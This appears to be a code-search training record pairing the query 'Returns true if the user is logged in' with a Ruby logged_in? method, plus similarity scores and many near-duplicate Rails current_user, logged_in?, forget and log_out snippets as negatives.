"def current_user\n if user_signed_in?\n Session.active_sessions.find_by(id: request.headers['sid'], utoken: request.headers['utoken']).user\n else\n nil\n end\n end",
"def current_user\n User.find_by(id: session[:user_id])\n end",
"def current_user\n User.find_by(id: session[:user_id])\n end",
"def current_user\n return nil unless session[:user_id]\n User.get(session[:user_id])\nend",
"def current_user\r\n\tif(session[:user_id])\r\n\t\t@u ||= User.first(id: session[:user_id])\r\n\t\treturn @u\r\n\telse\r\n\t\treturn nil\r\n\tend\r\nend",
"def current_user\n \t# If the session contains the user_id with non-nil, we have ID of some user\n \t# Return the user object for ID\n \t\n \t# Using instance variable helps limit calls\n \t# \"Or equals\" means \n \t\t# if nil, set it -- if not, return it\n \tif session[:user_id]\n \t@current_user ||= User.find(session[:user_id])\n end\n end",
"def current_user\n logged_in? ? User.find_by_id(session[:user_id]) : nil\n end",
"def find_current_user\n if is_logged_in?\n @current_user = User.find(session[:user_id])\n else\n @current_user = nil\n end\n end",
"def current_user\n if logged_in?\n session[:user] = nil\n return temporary_logged_in_user ? temporary_logged_in_user :\n set_temporary_logged_in_user(cached_user)\n else\n session[:user] ||= create_new_user # if there wasn't one\n session[:user] = create_new_user unless session[:user].respond_to?(:stale?)\n session[:user] = create_new_user if session[:user].stale?\n return session[:user]\n end\n end",
"def current_user\n return unless session[:user_id]\n @current_user ||= User.find_by_id(session[:user_id])\n end",
"def current_user\n if session[:user_id].present?\n @current_user = User.find_by(uid: session[:user_id])\n # session.clear if @current_user.nil?\n return @current_user\n end\n end",
"def current_user\n if session[:user_id]\n return User.find(session[:user_id])\n end\nend",
"def current_user\n\t\t\tUser.find_by_id(session[:user_id])\n\t\tend",
"def current_user\n if session[:user_id]\n @current_user ||= User.find(session[:user_id])\n end\n end",
"def current_user\n if session[:user_id]\n @current_user ||= User.find(session[:user_id])\n end\n end",
"def return_current_user\n @current_user ||= User.find(session[:id_of_current_user]) if session[:id_of_current_user]\n end",
"def current_user\n if session[:user_id]\n @user = User.find(session[:user_id])\n end\n end",
"def current_user\n if session[:user_id]\n @user = User.find(session[:user_id])\n end\n end",
"def logged_in_user\n if (!logged_in?)\n return User.logged_out_user\n end\n #return nil if !logged_in?\n return session[\"app_user\"]\n end",
"def current_user\n core_id = Origen::Users::User.current_user_id\n user = app_users.find { |user| user.core_id == core_id }\n user || User.new(core_id)\n end",
"def current_user\n @user ||= User.find_by_id(session[:user_id])if logged_in?\n end",
"def current_user\n load_session\n @current_user\n end",
"def find_current_user\n user_id = session[:user_id]\n if user_id\n user = Marty::User.active.find(user_id) rescue nil\n else\n user = try_to_autologin\n end\n\n user\n end",
"def current_user\n return nil unless session[:user_id]\n @current_user ||= User.find_by(id: session[:user_id])\n end",
"def current_user\n @current_user ||= User.find(session[:user_id]) if session[:user_id]\n # return current user or set it to what is found in cookie, only if there is one to begin with\n end",
"def current_user\n \t@current_user || User.find(session[:user_id]) if session[:user_id]\n end",
"def current_user\n @current_user ||= begin\n if session[:user_id]\n user = User.where(id: session[:user_id])\n user[0] if user.any?\n end\n end\n # @current_user ||= User.find session[:user_id] if session[:user_id]\n end",
"def current_user\n\n \tif session[:user_id].present?\n \t\tUser.find(session[:user_id])\n\n \tend\n\n end",
"def current_user\n\tsession[:user_id] ? User.find(session[:user_id]) : nil\nend",
"def current_user\n\tsession[:user_id] ? User.find(session[:user_id]) : nil\nend",
"def current_user\n # retrieve from database on every request instead of\n # storing it as global variable when current_user=\n # is called to prevent user information becoming stale.\n @current_user ||= (session[:user_name] && User.find_by(user_name: session[:user_name])) || real_user\n end",
"def current_user\n\t\tif !@current_user\n\t\t\t@current_user = User.find_by(id: session[:user_id])\n\t\tend\n\t\t@current_user\n\tend",
"def current_user\n @current_user ||= User.find(session[:user_id]) if session[:user_id]\n end",
"def current_user\n @current_user ||= User.find(session[:user_id]) if session[:user_id]\n end",
"def current_user\n return unless session[:user_id]\n @current_user = User.find_by_id(session[:user_id])\n end",
"def current_user\n @current_user ||= User.find(session[:user_id]) if user_signed_in?\n end",
"def current_user\n\t\tUser.find_by(:id => session[:user_id])\n\tend",
"def current_user\n User.find session[:user_id] if user_signed_in?\n end",
"def authenticated_user\n if session[:user_id].nil?\n return nil\n else\n return User.find(session[:user_id])\n end\n end",
"def current_user\n return @current_user if defined?(@current_user)\n @current_user = User.find_by_id(session[:user_id])\n end",
"def current_user\n if session[:user_id]\n @current_user ||= User.find_by(id: session[:user_id])\n end\n end",
"def current_user\n if session[:user_id]\n @current_user ||= User.find_by(id: session[:user_id])\n end\n end",
"def current_user\n if session[:user_id]\n @current_user ||= User.find_by(id: session[:user_id])\n end\n end",
"def current_user\n if session[:user_id]\n @current_user ||= User.find_by(id: session[:user_id])\n end\n end",
"def current_user\n if session[:user_id]\n @current_user ||= User.find_by(id: session[:user_id])\n end\n end",
"def current_user\n if session[:user_id]\n @current_user = User.find(session[:user_id])\n end\n end",
"def current_user\n @user ||= User.find_by(id: session[:user_id]) if session[:user_id]\n end",
"def current_user\n \n # Normally we would look in the session to see if there is a user_id \n # to figure out if the user is loggged in.\n # For demo purposes this app randomly picks if the user is logged in\n if rand(100) > 20 \n User.last\n else\n nil\n end\n end"
] |
[
"0.85960984",
"0.8593657",
"0.855797",
"0.8545853",
"0.8534344",
"0.8497545",
"0.847914",
"0.8460573",
"0.8457271",
"0.84556973",
"0.84472865",
"0.8442264",
"0.8441092",
"0.84366953",
"0.8400402",
"0.83765614",
"0.8368829",
"0.8337418",
"0.8337418",
"0.8314651",
"0.8311652",
"0.83023316",
"0.8291481",
"0.82835174",
"0.82835174",
"0.82822436",
"0.82822436",
"0.82777715",
"0.82777715",
"0.82777715",
"0.82777715",
"0.8276581",
"0.8275023",
"0.8275023",
"0.8255083",
"0.8249995",
"0.82446975",
"0.8239647",
"0.8232271",
"0.82151717",
"0.82147837",
"0.82147837",
"0.82103586",
"0.8191853",
"0.8187335",
"0.81870914",
"0.818249",
"0.8178561",
"0.8178069",
"0.8167405",
"0.8166237",
"0.8165827",
"0.8164524",
"0.8164524",
"0.816404",
"0.816404",
"0.81622803",
"0.8161969",
"0.8160386",
"0.8157338",
"0.8153178",
"0.81529313",
"0.81492436",
"0.8147794",
"0.814727",
"0.81466174",
"0.8136481",
"0.8136481",
"0.8132164",
"0.81201875",
"0.81201875",
"0.81199944",
"0.8119824",
"0.8116362",
"0.8112842",
"0.81102794",
"0.81090635",
"0.81087977",
"0.81074595",
"0.80979383",
"0.8093762",
"0.80920845",
"0.80920845",
"0.8090045",
"0.8087256",
"0.80838054",
"0.80838054",
"0.8081629",
"0.80800456",
"0.80800176",
"0.80791426",
"0.8078592",
"0.8078462",
"0.8078152",
"0.8078152",
"0.8078152",
"0.8078152",
"0.8078152",
"0.8073231",
"0.807296",
"0.8071747"
] |
0.0
|
-1
|
Returns true if the user is logged in, false otherwise.
|
def logged_in?
!current_user.nil?
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def user_is_logged_in()\n user = get_user()\n if user != nil\n true\n else\n false\n end\n end",
"def logged_in?\n user._logged_in?\n end",
"def logged_in?\n if session[:username]\n if session[:logged_in?]\n return true\n end\n else\n return false\n end\n end",
"def logged_in?\n if !session[:user_id].nil?\n return true\n else\n return false\n end\n end",
"def user_is_logged_in?\n !!session[:user_id]\n end",
"def logged_in?\n return false unless session[:user_id]\n\n User.find_by_id(session[:user_id]).present?\n end",
"def logged_in?\n !!logged_user\n end",
"def logged_in?\n (current_user ? login_access : false).is_a?(User)\n end",
"def logged_in?\n if current_user\n true\n else\n false\n end\n end",
"def logged_in?\n current_user != :false\n end",
"def logged_in?\n current_user != :false\n end",
"def logged_in?\n current_user.present?\n end",
"def logged_in?\n return true if self.current_user\n return false\n end",
"def logged_in?\n !!current_user\n end",
"def logged_in?\n !!current_user\n end",
"def logged_in?\r\n current_user != :false\r\n end",
"def loggedin?\n @session.nil? ? false : (return true)\n end",
"def is_logged_in?\n\t\t!session[:user_id].nil?\n\tend",
"def logged_in?\n\t\t\tcurrent_user.is_a? User\n\t\tend",
"def logged_in?()\n if session[:user_id]\n return true\n else \n return false\n end\n end",
"def logged_in?\n current_user != :false \n end",
"def is_logged_in_user?\n session[:user_authenticated]\n end",
"def logged_in?\n @logged_in == true\n end",
"def logged_in?\n @logged_in == true\n end",
"def logged_in?\n if current_user\n true\n else \n false\n end\n end",
"def is_logged_in?\n !session[:user_id].nil?\n end",
"def user_is_logged_in?\n !!session[:user_id]\n end",
"def logged_in?\n\t\tif not current_user.present? then redirect_to \"/unauthorized\" and return false\n\t\tend\n\t\treturn true\n\tend",
"def logged_in?\n return false unless @auth_header\n true\n end",
"def logged_in?\n !!current_user\n end",
"def logged_in?\n !!current_user\n end",
"def logged_in?\n !!current_user\n end",
"def logged_in?\n !!current_user\n end",
"def logged_in?\n !!current_user\n end",
"def logged_in?\n !!current_user\n end",
"def logged_in?\n !!current_user\n end",
"def logged_in?\n !!current_user\n end",
"def logged_in?\n !!current_user\n end",
"def logged_in?\n\t\t !!current_user\n end",
"def logged_in?\r\n\t\t!current_user.nil?\r\n\tend",
"def logged_in?\n\n if session[:current_user_id]\n return true\n end\n \n #Default return false\n false\n \n end",
"def logged_in?\n\t\tcurrent_user.present?\n\tend",
"def logged_in?\n !session[:user_id].nil?\n end",
"def logged_in?\n !session[:user_id].nil?\n end",
"def logged_in?\n !session[:user_id].nil?\n end",
"def logged_in?\n !session[:user_id].nil?\n end",
"def logged_in?\n !!logged_in_user \n end",
"def logged_in?\n\t\t!current_user.nil?\n\tend",
"def logged_in?\n\t\t!current_user.nil?\n\tend",
"def logged_in?\n current_user ? true : false;\n end",
"def logged_in?\n\t\t!current_user.nil?\n\tend",
"def logged_in?\n\t\t!current_user.nil?\n\tend",
"def logged_in?\n\t\t!current_user.nil?\n\tend",
"def logged_in?\n\t\t!current_user.nil?\n\tend",
"def logged_in?\n\t\t!current_user.nil?\n\tend",
"def logged_in?\n\t\t!current_user.nil?\n\tend",
"def logged_in?\n\t\t!current_user.nil?\n\tend",
"def logged_in?\n\t\t!current_user.nil?\n\tend",
"def logged_in?\n\t\t!current_user.nil?\n\tend",
"def logged_in?\n\t\t!current_user.nil?\n\tend",
"def logged_in?\n\t\t!current_user.nil?\n\tend",
"def logged_in?\n\t\t!current_user.nil?\n\tend",
"def logged_in?\n\t\t!current_user.nil?\n\tend",
"def logged_in?\n\t\t!current_user.nil?\n\tend",
"def logged_in?\n\t\t!current_user.nil?\n\tend",
"def logged_in?\n\t\t!current_user.nil?\n\tend",
"def logged_in?\n\t\t!current_user.nil?\n\tend",
"def logged_in?\n\t\t!current_user.nil?\n\tend",
"def logged_in?\n\t\t!current_user.nil?\n\tend",
"def logged_in?\n @logged_in\n end",
"def logged_in?\n @logged_in\n end",
"def logged_in?\n @logged_in\n end",
"def logged_in?\n @logged_in\n end",
"def logged_in?\n current_user.present? # True neu user login\n end",
"def logged_in?\n #boolean return\t\n \tcurrent_user != nil\n end",
"def is_user_logged_in?\n\tlogged_in = false\n\t if logged_in\n then true\n else\n redirect_to root_path\n end\n end",
"def logged_in?\n @logged_in ? true : false\n end",
"def logged_in?\n current_user != nil ? true : false\n end",
"def logged_in?\n return session['current_user']\n end",
"def logged_in?\n !current_user.nil?\n end",
"def logged_in?\n !current_user.nil?\n end",
"def logged_in?\n\t\t!current_user.nil?\n \tend",
"def is_logged_in?\n return true if current_user || current_admin\n end",
"def logged_in?\n \t\t!current_user.nil?\n \tend",
"def logged_in?\n\t\t#if currentuser.nil returns true then logedin is false\n\t\t!current_user.nil?\n\tend",
"def logged_in?\n !current_user.blank?\n end",
"def logged_in?\n !!session[:logged_in]\n end",
"def logged_in?\n # !! turns this into a boolean, so we DON'T get nil\n !!session[:user_id]\n end",
"def logged_in?\n !!session[:user_id]\n # !!@current_user\n end",
"def logged_in?\n ## to query if the logged in, call the current_user with !! preceeded, this turns it to true or false\n # TRUE or FALSE\n !!current_user\n end",
"def _is_login\n p session[:user]\n session[:user] ? true : false\n end",
"def logged_in?\n if session[:username].blank? or\n session[:authenticated].blank? or\n !session[:authenticated]\n return false\n end\n\n return true\n end",
"def user_logged_in?\n current_user.present?\n end",
"def user_logged_in?\n current_user.present?\n end",
"def logged_in?\n current_user_id.to_i > 0\n end",
"def is_logged_in?\n session[:user_id].present?\n end",
"def logged_in?\n current_user.is_a? User\n end",
"def logged_in?\n !!current_user\n end",
"def logged_in?\n !!current_user\n end",
"def logged_in?\n !!current_user\n end",
"def logged_in?\n !!current_user\n end"
] |
[
"0.9082417",
"0.8764097",
"0.87552106",
"0.8718715",
"0.86894006",
"0.86498255",
"0.86469626",
"0.86372185",
"0.8631328",
"0.86285406",
"0.86285406",
"0.8582609",
"0.85669243",
"0.85613596",
"0.85613596",
"0.8551865",
"0.85491496",
"0.85443276",
"0.85409296",
"0.8539988",
"0.8517927",
"0.8511279",
"0.8508452",
"0.8508452",
"0.8507709",
"0.8505226",
"0.84988797",
"0.8491304",
"0.8484085",
"0.8482917",
"0.8482917",
"0.8482917",
"0.8482917",
"0.8482917",
"0.8482917",
"0.8482917",
"0.8482917",
"0.8482917",
"0.84715056",
"0.8469552",
"0.84658724",
"0.8465275",
"0.84569186",
"0.84569186",
"0.84569186",
"0.84569186",
"0.84564346",
"0.8454783",
"0.8454261",
"0.8453559",
"0.84534836",
"0.84534836",
"0.84534836",
"0.84534836",
"0.84534836",
"0.84534836",
"0.84534836",
"0.84534836",
"0.84534836",
"0.84534836",
"0.84534836",
"0.84534836",
"0.84534836",
"0.84534836",
"0.84534836",
"0.84534836",
"0.84534836",
"0.84534836",
"0.84534836",
"0.8442786",
"0.8442786",
"0.8442786",
"0.8442786",
"0.84288824",
"0.84257317",
"0.84221077",
"0.8421079",
"0.84119624",
"0.8409261",
"0.840512",
"0.840512",
"0.8403647",
"0.8402856",
"0.8402169",
"0.83969295",
"0.83946496",
"0.8387275",
"0.8384129",
"0.83830756",
"0.83823043",
"0.83774966",
"0.83763194",
"0.8374361",
"0.8374361",
"0.83696514",
"0.8369602",
"0.836562",
"0.8361304",
"0.8361304",
"0.8361304",
"0.8361304"
] |
0.0
|
-1
|
Forgets a persistent session.
|
def forget(user)
user.forget if user
cookies.delete(:user_id)
cookies.delete(:remember_token)
cookies.delete(:user_type)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def reset_session!\n raw_session.clear\n end",
"def abandon!\n @user = nil\n session.delete\n end",
"def abandon!\n @user = nil\n session.delete\n end",
"def abandon!\n @user = nil\n session.clear\n end",
"def invalidate_session\n @sequence = 0\n @session_id = nil\n end",
"def turn_off\n self.class._end_session\n end",
"def kill_session\n session[:session] = false\n session[:sessionToken] = \"\"\n session[:sessionMember] = \"\"\n session[:sessionMV] = \"\"\n session[:sessionOffer] = \"\"\n end",
"def clear_session\n session.clear\n end",
"def clear_session\n\t\tsession.clear\n\tend",
"def reset_session!\n request.reset_session\n end",
"def reset_session!\n request.reset_session\n end",
"def reset!\n @session_key = nil\n end",
"def clear_session\n session[:timeout] = nil\n session[:uid] = nil\n end",
"def clear_session\n session[:timeout] = nil\n session[:uid] = nil\n end",
"def forget_everything\n empty_session!\n PersistentUser.new(@user).delete\n end",
"def clear_session\n Mack::SessionStore.expire_all\n end",
"def clear_session_keys\n ActiveRecord::Base.clear_session_keys\n end",
"def reset\n session.unset(@name)\n end",
"def kill_session\n @authenticator.kill_session\n @session = ''\n end",
"def clear_session\n session[:int_key] = nil\n session[:email] = nil\n session[:password] = nil\n session[:account_id] = nil\n redirect_to root_url\n end",
"def destroy_session\n request.session_options[:skip] = true\n end",
"def delete_session\n session[:userid] = nil\n session[:attributes] = nil\n end",
"def clear_session\n rails_controller_instance.reset_session\n end",
"def destroy_session\n request.session_options[:skip] = true\n end",
"def disable_sessions\n self.auto_capture_sessions = false\n @enable_sessions = false\n end",
"def logout_killing_session!\n logout_keeping_session!\n reset_session\n end",
"def sessions_reset\n self.sessions_flush\n @sessions = {}\n end",
"def abandon\n response = self.class.post('/', :body => self.class.build_XML_request('Session.Abandon', self))\n self.class.response_valid? response\n end",
"def logout_killing_session!\n logout_keeping_session!\n reset_session\n end",
"def clear_session\n @session = @login_info = nil\n end",
"def clear_session\n\t\tsession[:email] = nil \n\t\tsession[:player_id] = nil\n\t\tsession[:admin] = nil\n\t\tsession[:login_time] = nil \n\tend",
"def invalidate!\n self.active = false\n self.save!\n if controller\n cookies.delete(:user_session)\n end\n end",
"def reset_current_session\n\n pop_session_frame\n push_session_frame\n\n end",
"def discard_saved_state\n execute(\"discardstate\", @uuid)\n end",
"def clear_session\n session[:player_id] = nil\n cookies[:player_id] = nil\n cookies[:password_hash] = nil\n end",
"def forget\n self.remember_token = nil\n self.update_attribute(:remember_digest, nil)\n end",
"def reset_session\n Rails.logger.info('SSO: ApplicationController#reset_session', sso_logging_info)\n\n cookies.delete(Settings.sso.cookie_name, domain: Settings.sso.cookie_domain)\n @session_object&.destroy\n @current_user&.destroy\n @session_object = nil\n @current_user = nil\n super\n end",
"def remove!\n @session.delete(SESSION_KEY) if empty?\n end",
"def destroy\n @session.clear\n end",
"def clear_session\n session[:timeout] = nil\n session[:user_name] = nil\n session[:real_user_name] = nil\n session[:job_id] = nil\n session[:auth_type] = nil\n cookies.delete :auth_token\n reset_session\n end",
"def skip_set_cookies_header\n reset_session\n end",
"def forget\n update_attribute(:remember_digest, nil)\n # We don't need the below line because if we update remember_digest to nil, then\n # you cannot use the old remember_token anyway, so it is unnecessary\n # self.remember_token = nil\n end",
"def reset!\n @sess_hash = {}\n end",
"def forget\n update_attribute(:remember_digest, nil)\n end",
"def logout_killing_session!(class_name)\n logout_keeping_session!(class_name)\n reset_session\n end",
"def reset\n reset_session\n redirect_to root_path\n end",
"def forget\n self.remember_token = nil\n update_attribute(:remember_digest, nil)\n end",
"def forget\n self.remember_token = nil\n update_attribute(:remember_digest, nil)\n end",
"def reset_session\r\nif session && session.respond_to?(:destroy)\r\nsession.destroy\r\nelse\r\nself.session = {}\r\nend\r\n@env['action_dispatch.request.flash_hash'] = nil\r\nend",
"def session_dont_remember\n httpsession = Thread.current[:hayabusa][:httpsession]\n raise \"Could not figure out HTTP-session.\" if !httpsession\n session = httpsession.session\n raise \"Could not get session-variable from HTTP-session.\" if !session\n session[:remember] = 0\n \n self.cookie(\n \"name\" => \"HayabusaSession\",\n \"value\" => _httpsession.session_id,\n \"path\" => \"/\"\n )\n end",
"def forget_me\r\n self.remember_token_expires_at = nil\r\n self.remember_token = nil\r\n save(:validate => false)\r\n end",
"def forget_me\n self.remember_token_expires_at = nil\n self.remember_token = nil\n save(false)\n end",
"def forget_me\n self.remember_token_expires_at = nil\n self.remember_token = nil\n save(false)\n end",
"def destroy\n\t\treset_session\n\t\tredirect_to new_session_path\n\tend",
"def forget_me\n self.remember_token_expires_at = nil\n self.remember_token = nil\n save(:validate => false)\n end",
"def renew_session\n @authenticator.kill_session\n @authenticator.get_session\n end",
"def clear_session\n session[:user_id] = nil\n cookies[:user_id] = nil\n cookies[:password_hash] = nil\n end",
"def discard_saved_state\n end",
"def forget\n self.remember_token = nil\n update_attribute(:remember_token_digest, nil)\n end",
"def forget\n update_attribute(:remember_digest, nil)\n end",
"def forget\n update_attribute(:remember_digest, nil)\n end",
"def skip_session\n request.session_options[:skip] = true\n end",
"def skip_session\n request.session_options[:skip] = true\n end",
"def kill_session(id=\"new\")\n session[\"cart_new\"] = nil\n session[\"cart_#{id}\".to_sym] = nil\n end",
"def invalidateUserSession(user)\n userSession = Session.find_by_user_id(user.id)\n if !userSession.nil? then\n userSession.delete\n end\n end",
"def forget\n\t\tupdate_attribute(:remember_digest, nil)\n\tend",
"def forget\n\t\tupdate_attribute(:remember_digest, nil)\n\tend",
"def forget\n\t\tupdate_attribute(:remember_digest, nil)\n\tend",
"def forget_me\n self.remember_token_expires_at = nil\n self.remember_token = nil\n save(:validate => false) \n end",
"def revoke_session(user)\n\t\t@sessions.delete user\n\tend",
"def session_noop(input={}, raw=false)\n response = get('mw/Session.Noop', input, raw)\n end",
"def session_end!(destroy=true)\n if destroy\n session.clear\n else\n session['sinatra.session'] = false\n end\n end",
"def forget\n update_attribute(:remember_token, nil)\n end",
"def do_not_set_cookie\n request.session_options[:skip] = true\n end",
"def do_not_set_cookie\n request.session_options[:skip] = true\n end",
"def do_not_set_cookie\n request.session_options[:skip] = true\n end",
"def forget(player)\n return if player.nil?\n player.forget\n cookies.delete(:player_id)\n cookies.delete(:remember_token)\n end",
"def clear_sessions \n sessions.each do |key, session|\n logger.info \"Closing: #{key}\"\n session.close\n end \n sessions.clear \n reset_password\n end",
"def forget_form_data(type)\n session.delete(type)\n end",
"def no_session # :nologin: :norobots:\n end",
"def forget\n \tupdate_attribute(:remember_digest, nil)\n end",
"def forget\n \tupdate_attribute(:remember_digest, nil)\n end",
"def clear_ebay_session(req)\n Lynr.cache.del(\"#{req.session['dealer_id']}_ebay_session\")\n end",
"def forget\n user.forget\n cookies.delete(:user_id)\n cookies.delete(:remember_token)\nend",
"def forget\n update_attribute(:remember_digest, nil)\n end",
"def forget\n update_attribute(:remember_digest, nil)\n end",
"def forget\n update_attribute(:remember_digest, nil)\n end",
"def forget\n update_attribute(:remember_digest, nil)\n end",
"def forget\n update_attribute(:remember_digest, nil)\n end",
"def forget\n update_attribute(:remember_digest, nil)\n end",
"def forget\n update_attribute(:remember_digest, nil)\n end",
"def forget\n update_attribute(:remember_digest, nil)\n end",
"def forget\n update_attribute(:remember_digest, nil)\n end",
"def forget\n update_attribute(:remember_digest, nil)\n end",
"def forget\n update_attribute(:remember_digest, nil)\n end",
"def forget\n update_attribute(:remember_digest, nil)\n end",
"def forget\n update_attribute(:remember_digest, nil)\n end",
"def forget\n update_attribute(:remember_digest, nil)\n end",
"def forget\n update_attribute(:remember_digest, nil)\n end",
"def forget\n update_attribute(:remember_digest, nil)\n end",
"def forget\n update_attribute(:remember_digest, nil)\n end"
] |
[
"0.7149095",
"0.7059213",
"0.7059213",
"0.70340604",
"0.69786507",
"0.68063825",
"0.6668415",
"0.6590212",
"0.65894204",
"0.65851307",
"0.65851307",
"0.6546038",
"0.6429771",
"0.6429771",
"0.6391262",
"0.63660854",
"0.63422614",
"0.6315281",
"0.63146967",
"0.62607706",
"0.62582135",
"0.625448",
"0.6244664",
"0.62210834",
"0.62135315",
"0.6204033",
"0.6203912",
"0.61731076",
"0.616716",
"0.61386466",
"0.6127195",
"0.61266893",
"0.6124367",
"0.611479",
"0.6084139",
"0.6080993",
"0.6073571",
"0.6054348",
"0.60416186",
"0.60411334",
"0.60337406",
"0.60223436",
"0.6021022",
"0.600566",
"0.60055006",
"0.5992432",
"0.5988533",
"0.5988533",
"0.59832674",
"0.5967238",
"0.59468657",
"0.5939907",
"0.5939907",
"0.5939015",
"0.5936521",
"0.5934587",
"0.592334",
"0.59207064",
"0.5912597",
"0.5911248",
"0.5911248",
"0.587101",
"0.587101",
"0.5864805",
"0.58643234",
"0.58635604",
"0.58635604",
"0.58635604",
"0.58592856",
"0.5857979",
"0.58547854",
"0.5846602",
"0.58448434",
"0.58412915",
"0.58412915",
"0.58412915",
"0.5840833",
"0.5837698",
"0.58351755",
"0.5834466",
"0.58331794",
"0.58331794",
"0.5832386",
"0.5824714",
"0.580332",
"0.580332",
"0.580332",
"0.580332",
"0.580332",
"0.580332",
"0.580332",
"0.580332",
"0.580332",
"0.580332",
"0.580332",
"0.580332",
"0.580332",
"0.580332",
"0.580332",
"0.580332",
"0.580332"
] |
0.0
|
-1
|
Logs out the current loggedin user
|
def log_out
if !current_user.nil?
forget(current_user)
session.delete(:user_id)
session.delete(:user_type)
@current_user = nil
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def log_out\n\t\tsession.delete(:user_id)\n\t\t@current_user = nil\n\tend",
"def log_out\n\t\tsession.delete(:user_id)\n\t\t@current_user = nil\n\tend",
"def log_out\n\t\tsession.delete(:user_id)\n\t\t@current_user = nil\n\tend",
"def log_out\n\t\tsession.delete(:user_id)\n\t\t@current_user = nil\n\tend",
"def log_out\n\t\tsession.delete(:user_id)\n\t\t@current_user = nil\n\tend",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n\t\t# current_user.delete_auth_token # won't work with curl, but html is good\n\t\tsession.delete(:user_id)\n\t\t@current_user = nil\n\tend",
"def log_out\n reset_session\n @current_user = nil\n end",
"def log_out\n\t\tsession.delete(:user_id)\n\t\t@current_user= nil\n\tend",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n\t\tforget(current_user)\n\t\tsession.delete(:user_id)\n\t\t@current_user = nil\n\tend",
"def log_out\n\t\tforget(current_user)\n\t\tsession.delete(:user_id)\n\t\t@current_user = nil\n\tend",
"def log_out\n\t\tforget(current_user)\n\t\tsession.delete(:user_id)\n\t\t@current_user = nil\n\tend",
"def log_out\n\t\tforget(current_user)\n\t\tsession.delete(:user_id)\n\t\t@current_user = nil\n\tend",
"def log_out\n\t\tforget(current_user)\n\t\tsession.delete(:user_id)\n\t\t@current_user = nil\n\tend",
"def log_out\n\t\tforget(current_user) #call user.forget\n\t\tsession.delete(:user_id)\n\t\t@current_user = nil\n\tend",
"def log_out\n forget(current_user)\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n forget(current_user)\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n\t \tsession.delete(:user_id)\n\t \t@current_user =nil\n\t end",
"def log_out\n session.delete(:user_id)\n @current_user = nil \n end",
"def log_out\n session.delete(:user_credentials)\n @current_user = nil\n end",
"def log_out\n \tsession.delete(:user_id)\n \t@current_user = nil\n end",
"def log_out\n forget current_user\n session.delete :user_id\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n\n end",
"def user_log_out\n forget_user(current_user)\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n forget(current_user)\n\t\tsession.delete(:user_id)\n\t\t@current_user = nil\n\tend",
"def user_log_out\n user_forget(current_user)\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n forget(current_user)\n session.delete(:user_id)\n @current_user = nil\n flash[:danger] = 'Logoff realizado!'\n end",
"def log_out\r\n forget(current_user)\r\n session.delete(:user_id)\r\n @current_user = nil\r\n end",
"def log_out\n forget(current_user)\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n forget(current_user)\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n forget(current_user)\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n forget(current_user)\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n forget(current_user)\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n forget(current_user)\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n forget(current_user)\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n forget(current_user)\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n forget(current_user)\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n forget(current_user)\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n forget(current_user)\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n forget(current_user)\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n forget(current_user)\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n forget(current_user)\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n forget(current_user)\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n forget(current_user)\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n forget(current_user)\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n forget(current_user)\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n forget(current_user)\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n forget(current_user)\n session.delete(:user_id)\n @current_user = nil\n end",
